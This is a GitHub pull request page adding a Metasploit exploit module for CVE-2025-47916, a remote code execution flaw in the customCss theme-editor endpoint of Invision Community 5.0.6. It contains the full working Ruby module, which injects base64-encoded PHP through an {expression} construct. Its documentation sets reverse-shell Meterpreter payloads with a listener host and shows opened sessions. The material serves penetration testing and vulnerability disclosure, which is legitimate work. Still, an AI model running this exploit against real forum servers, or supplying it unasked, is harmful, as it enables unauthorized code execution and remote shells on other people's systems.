-
Notifications
You must be signed in to change notification settings - Fork 14.3k
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916) #20214
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
+258
−0
Merged
Changes from 3 commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
28b7c7f
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)
Chocapikk 5a436d2
Update modules/exploits/multi/http/invision_customcss_rce.rb
Chocapikk 14501a6
Add lower bound version
Chocapikk e5bbc01
Update invision_customcss_rce.md
Chocapikk 4d3e786
Update invision_customcss_rce.rb
Chocapikk File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
133 changes: 133 additions & 0 deletions
133
documentation/modules/exploit/multi/http/invision_customcss_rce.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
## Vulnerable Application | ||
|
||
This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint: | ||
|
||
* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter. | ||
|
||
### To replicate a vulnerable environment | ||
|
||
1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application): | ||
|
||
```bash | ||
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip | ||
unzip ips_5.0.6_lab.zip | ||
cd ips_5.0.6_lab | ||
``` | ||
|
||
2. **Bring up the stack**: | ||
|
||
```bash | ||
docker-compose up -d | ||
``` | ||
|
||
3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777). | ||
|
||
* You do **not** need a valid license key; you can enter any text and proceed. | ||
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`. | ||
|
||
## Verification Steps | ||
|
||
1. **Check the installed version**: | ||
|
||
```bash | ||
curl -s http://localhost:7777/admin/install/eula.txt | head -n5 | ||
``` | ||
|
||
Expected output: | ||
|
||
``` | ||
=============================[NOTE]============================= | ||
Buy license at https://invisioncommunity.com/buy/self-hosted/ | ||
================================================================ | ||
IPS 5.0.6 (5000074) | ||
=============================[NOTE]============================= | ||
``` | ||
|
||
2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable: | ||
|
||
```bash | ||
use exploit/multi/http/invision_customcss_rce | ||
set RHOSTS 127.0.0.1 | ||
set TARGETURI / | ||
check | ||
``` | ||
|
||
## Options | ||
|
||
No option | ||
|
||
## Scenarios | ||
|
||
### PHP Meterpreter (in-memory) | ||
|
||
```bash | ||
use exploit/multi/http/invision_customcss_rce | ||
set TARGET 0 | ||
set RHOSTS 127.0.0.1 | ||
set TARGETURI / | ||
set PAYLOAD php/meterpreter/reverse_tcp | ||
set LHOST 192.168.1.10 | ||
set LPORT 4444 | ||
run | ||
``` | ||
|
||
### Command Shell (ARCH_CMD) | ||
|
||
```bash | ||
use exploit/multi/http/invision_customcss_rce | ||
set TARGET 1 | ||
set RHOSTS 127.0.0.1 | ||
set TARGETURI / | ||
set payload cmd/linux/http/x64/meterpreter_reverse_tcp | ||
set LHOST 192.168.1.10 | ||
set LPORT 4444 | ||
run | ||
``` | ||
|
||
## Expected Results | ||
|
||
With `php/meterpreter/reverse_tcp`: | ||
|
||
```plaintext | ||
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 | ||
[*] Exploiting target 127.0.0.1 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Detected IPS version: 5.0.6 | ||
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) | ||
[*] Sending exploit to 127.0.0.1:7777 ... | ||
[*] Sending stage (40004 bytes) to 172.30.0.3 | ||
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200 | ||
[*] Session 9 created in the background. | ||
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9 | ||
[*] Starting interaction with 9... | ||
|
||
meterpreter > sysinfo | ||
Computer : 01ed59644450 | ||
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64 | ||
Meterpreter : php/linux | ||
``` | ||
|
||
With `cmd/linux/http/x64/meterpreter_reverse_tcp`: | ||
|
||
```plaintext | ||
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 | ||
[*] Exploiting target 127.0.0.1 | ||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Detected IPS version: 5.0.6 | ||
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) | ||
[*] Sending exploit to 127.0.0.1:7777 ... | ||
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200 | ||
[*] Session 7 created in the background. | ||
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7 | ||
[*] Starting interaction with 7... | ||
|
||
meterpreter > sysinfo | ||
Computer : 172.30.0.3 | ||
OS : Debian 12.10 (Linux 6.14.6-2-cachyos) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Payload::Php | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Invision Community 5.0.6 customCss RCE', | ||
'Description' => %q{ | ||
Invision Community up to and including version 5.0.6 contains a remote code | ||
execution vulnerability in the theme editor's customCss endpoint. By crafting | ||
a specially formatted `content` parameter with a `{expression="…"}` | ||
construct, arbitrary PHP can be evaluated. This module leverages that flaw | ||
to execute payloads or system commands as the webserver user. | ||
}, | ||
'Author' => [ | ||
'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC | ||
'Valentin Lobstein' # Metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2025-47916'], | ||
['URL', 'https://karmainsecurity.com/KIS-2025-02'], | ||
['URL', 'https://invisioncommunity.com'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Platform' => %w[php unix linux win], | ||
'Arch' => [ARCH_PHP, ARCH_CMD], | ||
'Targets' => [ | ||
[ | ||
'PHP In-Memory', | ||
{ | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP | ||
# tested with php/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Unix/Linux Command Shell', | ||
{ | ||
'Platform' => %w[unix linux], | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp | ||
} | ||
], | ||
[ | ||
'Windows Command Shell', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD | ||
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2025-05-16', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def check | ||
path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt') | ||
res = send_request_cgi('uri' => path, 'method' => 'GET') | ||
unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) / | ||
return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA') | ||
end | ||
|
||
version = Rex::Version.new(Regexp.last_match(1)) | ||
print_status("Detected IPS version: #{version}") | ||
|
||
if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6')) | ||
CheckCode::Vulnerable("IPS version #{version} is vulnerable (≤ 5.0.6)") | ||
Chocapikk marked this conversation as resolved.
Show resolved
Hide resolved
|
||
else | ||
CheckCode::Safe("IPS version #{version} is not vulnerable") | ||
end | ||
end | ||
|
||
# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks | ||
jheysel-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
def php_exec_cmd(encoded_payload) | ||
vars = Rex::RandomIdentifier::Generator.new | ||
dis = '$' + vars[:dis] | ||
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) | ||
shell = <<-END_OF_PHP_CODE | ||
#{php_preamble(disabled_varname: dis)} | ||
$c = base64_decode("#{encoded_clean_payload}"); | ||
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)} | ||
END_OF_PHP_CODE | ||
return shell | ||
end | ||
|
||
def exploit | ||
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) | ||
b64 = Rex::Text.encode_base64(raw) | ||
|
||
expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}" | ||
post_data = { | ||
'app' => 'core', | ||
'module' => 'system', | ||
'controller' => 'themeeditor', | ||
'do' => 'customCss', | ||
'content' => expr | ||
} | ||
|
||
print_status("Sending exploit to #{rhost}:#{rport} ...") | ||
send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
'method' => 'POST', | ||
'vars_post' => post_data | ||
) | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.